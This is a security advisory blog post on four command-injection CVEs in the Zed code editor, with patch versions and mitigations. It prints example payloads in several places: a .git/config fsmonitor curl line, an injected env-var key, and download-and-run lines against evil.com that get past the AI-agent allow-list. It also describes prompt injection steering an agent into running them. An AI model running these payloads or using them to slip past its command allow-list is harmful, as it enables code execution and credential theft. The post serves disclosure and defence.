Four RCEs in Zed Editor: A Malicious Repo Hijacks Your Dev Box, CVE-2026-44461 through 44466
Four RCEs in Rust-based AI editor Zed (CVE-2026-44461/44463/44465/44466, all CVSS 8.6) trigger from opening a malicious repo, remote SSH/WSL terminals, or AI-agent allow-list bypasses via Bash env-var prefix and arithmetic expansion. Patch to 0.229.0 now.
Makoto Horikawa
Backend Engineer / AWS / Django
Four RCEs in Rust-based AI editor Zed (CVE-2026-44461/44463/44465/44466, all CVSS 8.6) trigger from opening a malicious repo, remote SSH/WSL terminals, or AI-agent allow-list bypasses via Bash env-var prefix and arithmetic expansion. Patch to 0.229.0 now.
Cloning a malicious Git repository and opening it in Zed is enough to execute arbitrary commands on the developer's machine — that is the practical effect of four simultaneous remote code execution (RCE) vulnerabilities disclosed in the Rust-based code editor Zed: CVE-2026-44461, CVE-2026-44463, CVE-2026-44465, and CVE-2026-44466, all rated CVSS 8.6 (High).
Zed shipped its 1.0 release on April 29, 2026, headlined by the Agent Client Protocol (ACP) that lets Claude Agent, OpenAI Codex, and Gemini CLI run natively side by side in the editor. The repo has more than 150k stars on GitHub and Zed sits firmly among the major AI coding-agent choices alongside Cursor and GitHub Copilot.
Fixes are split across two releases: 0.227.1 and 0.229.0, both disclosed on May 28, 2026. None of these are in CISA KEV at the time of writing. But Zed sits at the upstream of the developer-tooling supply chain, and the moment any one of these CVEs fires, the developer's local credentials are sitting right there for the taking. Anyone using Zed in real work should treat this as an immediate update.
What Zed is and why this batch is different from other editor CVEs
Zed is a Rust-written code editor known for 0.6-second cold starts, ~222 MB of idle RAM, and 2 ms input latency — several times faster than VS Code by measured benchmarks. Since 2025 its "Agent Panel" has been backed by Anthropic's Claude, and as of May 2026 Zed positions itself as the AI editor that runs Claude Agent, OpenAI Codex, Gemini CLI, and OpenCode in parallel inside one window.
Two of the four CVEs are bypasses of the AI agent's allow-list. Letting an AI agent execute shell commands under a permission system is a pattern Cursor and most other AI editors are converging on, and this disclosure shows the limit of that pattern when implemented with regular-expression matching: regex prefixes simply cannot model Bash's syntactic features like inline environment-variable assignment or arithmetic expansion. The other two CVEs cover classic vectors: a malicious .git/config field firing when Zed opens a Git repo, and an environment-variable injection on Zed's remote SSH/WSL path.
How far one developer machine actually reaches
"Opening a repo in Zed gets you RCE" sounds dramatic, but the reach has to be mapped or you misjudge it in either direction. Draw the boundary first.
| Layer | Reached by this 4-CVE batch? | Condition |
|---|---|---|
| ① Developer's local user privileges | ✅ Almost certainly | Open a malicious repo in Zed, or run an AI agent action |
| ② Corporate production cloud and internal network | ⚠️ Effectively yes | Whatever SSH keys, PATs, and credentials sit in the developer's home dir |
| ③ Host OS root | ❌ Not from this alone | Requires a separate local privilege escalation |
Layer ①, code execution under the developer's local user, is what this batch directly buys. The bait is innocuous-looking GitHub repos: "interview homework," "demo for our hot new OSS library," "practice Claude agent." The victim clones the repo, opens the folder in Zed, or asks an AI agent to analyze it — and the payload planted in .git/config or .zed/settings.json fires under the developer's shell. CVE-2026-44465's core.fsmonitor route is the canonical example.
Layer ②, reach into corporate cloud and internal network, is determined automatically by whatever is sitting in the developer's home directory. SSH private keys (~/.ssh/id_ed25519), GitHub personal access tokens (gh CLI's ~/.config/gh/hosts.yml), AWS access keys (~/.aws/credentials), GCP service account keys, ~/.kube/config for the production Kubernetes cluster, corporate VPN profiles, Anthropic and OpenAI API keys, Slack and Discord tokens, .npmrc with publish privileges — all or most live as plaintext files on the developer's machine. The moment shell execution is achieved in Zed, a one-line curl exfiltrates them. From the attacker's seat, those credentials let them sign in as the developer: into the company GitHub org, into the CI/CD pipeline, into production AWS, into the customer database. The developer's machine is, by virtue of normal workflows, the densest concentration of production credentials in the entire organization.
Layer ③, host OS root, is not reachable from these CVEs alone. Zed runs as a user-space app, so successful command execution lands at the developer's user privileges. Crossing into host root requires a separate vector — a Linux kernel local privilege escalation, a sudo misconfiguration, a SUID binary, etc. In modern environments, though, "user privileges on a developer's box" is already very close to "production privileges for the entire company," so the absence of root does not make the damage any less terminal.
The buyers for layer ① and ② access are not contest hackers. Fake-job-offer crews that mail "interview homework" repos to candidates to steal corporate GitHub PATs from their dev machines, npm and PyPI supply-chain precursors who pose with "v2 demos" of popular packages to grab maintainers' publish keys, industrial spies who distribute "AI agent training datasets" so target employees clone the test repository on a corp laptop, prompt-injection operators using AI agents to run unauthorized commands and exfiltrate production AWS keys, and CTF-bait jokers who plant cryptominers in "challenge repos" via malicious .git/config — that is the actual demand side. The specific items they want are corporate GitHub-org write permission, production AWS IAM, Anthropic/OpenAI API keys (high-cost API abuse), internal Slack tokens, customer databases, and the proprietary source code already living in the Claude/Cursor/Zed context window.
Behind a CVSS 8.6 score, what an individual developer and their employer really shoulder is this: open one repo, prompt one AI agent, and the entrance from the developer's keyboard to the company's entire production cloud is mapped one-to-one into the attacker's dashboard.
The four CVEs, one by one
All four are OS-command-injection CVEs (CWE-78), but the trigger operation differs across the set.
CVE-2026-44465: .git/config core.fsmonitor — "open the folder, get RCE"
CVE-2026-44465 is the most direct "open-the-folder, get-RCE" path in the batch. When Zed opens a Git repository in untrusted mode it still runs Git operations that honor the repo-local .git/config. An attacker drops an arbitrary shell command into the [core] fsmonitor entry, and it runs the moment the victim opens the folder in Zed, no sanitization. From the official advisory PoC: fsmonitor = "curl https://webhook.site/.../zed/git/config". Fixed in 0.227.1.
CVE-2026-44461: env-var KEY injection on remote SSH/WSL
CVE-2026-44461 is in Zed's remote SSH/WSL command builder. When the editor sends exec env KEY=VALUE program args... to the remote host, VALUE was quoted but KEY was inserted verbatim. A crafted environment-variable key in the project's .zed/settings.json like {"terminal":{"env":{"ZED$(touch /tmp/pwned)":"1"}}} achieves arbitrary code execution on the remote host as soon as the victim opens a remote terminal. The advisory points to crates/remote/src/transport/ for both the SSH and WSL paths. The fix strictly validates env names against ^[A-Za-z_][A-Za-z0-9_]*$. Fixed in 0.227.1.
CVE-2026-44463: bypassing the AI agent permission via PAGER and friends
CVE-2026-44463 hits Zed's terminal-tool permission system, which matches allowed commands by prefix regex. The regex doesn't know about Bash's inline assignment syntax VAR=value cmd. With ^git\b on the allow list, PAGER=curl git diff "matches git" — but at runtime git diff hands its output to PAGER, which is now an attacker-chosen program. PAGER="curl evil.com | bash" git diff turns that into remote script download-and-execute. In an AI-agent workflow, prompt injection that nudges the agent into typing this command is the most dangerous variant. Fixed in 0.229.0.
CVE-2026-44466: bash arithmetic expansion $((...)) bypass
CVE-2026-44466 is the same family of bypass as 44463: Zed's allow-list regex doesn't model Bash syntax. With ^echo\b on the allow list, echo $(($(curl -s https://evil.com | wc -l))) looks like a plain echo to the regex, but inside the arithmetic expansion $((…)) there's a nested command substitution $(...) that runs curl. Fixed in 0.229.0.
Version impact at a glance
| CVE | Affected versions | Fixed version | Trigger |
|---|---|---|---|
| CVE-44465 | < 0.227.1 | 0.227.1 | Opening a malicious folder in Zed |
| CVE-44461 | < 0.227.1 | 0.227.1 | Opening a remote SSH/WSL terminal |
| CVE-44463 | < 0.229.0 | 0.229.0 | AI agent executes an "allowed" command |
| CVE-44466 | < 0.229.0 | 0.229.0 | AI agent executes an "allowed" command |
The practical call is simple: upgrade to 0.229.0 or later, which covers all four. Zed has automatic update on launch, so "Check for Updates" from the menu or a restart usually handles it. Fleet-deployed installations should roll out via the org's MDM.
Five operational moves to make this week
In priority order. Applies whether you use Zed as an individual developer or have deployed it across your org.
1. Upgrade to 0.229.0+ immediately. Pull the latest from the releases page or run "Zed → Check for Updates." MDM rollout for orgs.
2. Stop opening unknown repos in "Trust" mode reflexively. Zed asks before granting trust; in practice people click Trust without reading. For externally sourced repos — interview challenges, hackathon prompts, AI training samples — inspect git log and cat .git/config in a separate terminal first, then open in Zed.
3. Minimize plaintext credentials in the developer home directory. Replace always-on plaintext SSH keys, AWS access keys, and GitHub PATs with passphrase-protected keys, AWS IAM Identity Center (formerly SSO), and short-lived tokens. OS-keychain-backed secret storage (macOS Keychain, Linux pass, Windows DPAPI) is the realistic baseline.
4. Tighten the AI agent "always_allow" list. CVE-44463 and CVE-44466 exploit precisely this list. Wide patterns like ^git\b or ^echo\b should be narrowed now. Even on the patched build, do not over-trust.
5. Separate work and personal experiments at the OS-user level. Where feasible, split your machine into two OS accounts, isolating production keys from experimental work. Devcontainer or VM-based experimentation gives structurally strong defense against "open-the-folder" classes of RCE like this one.
Timeline
| Date | Event |
|---|---|
| Apr 29, 2026 | Zed 1.0 ships, Agent Client Protocol introduced |
| May 2026 | Researchers probe Zed's permission system and remote/Git config paths; private disclosure to Zed |
| May 28, 2026 | CVE-2026-44461 to 44466 disclosed; 0.227.1 and 0.229.0 released |
| May 29, 2026 | NVD entries published; GitHub Security Advisories live |
Closing: AI-editor permissions cannot be regex-only
The structural lesson from this batch is that prefix-regex matching is fundamentally insufficient for an AI-coding-agent allow list against the actual surface area of Bash — inline env-var assignment, arithmetic expansion, command substitution. Zed is far from alone here; if Cursor and other AI editors are using similar models, expect related bypasses to keep showing up.
Two concrete actions to take today: upgrade Zed to 0.229.0 or later, and make "run cat .git/config in a separate terminal before opening any externally sourced folder in Zed" a hard habit. The second one is going to be table-stakes hygiene across every AI editor going forward, regardless of vendor.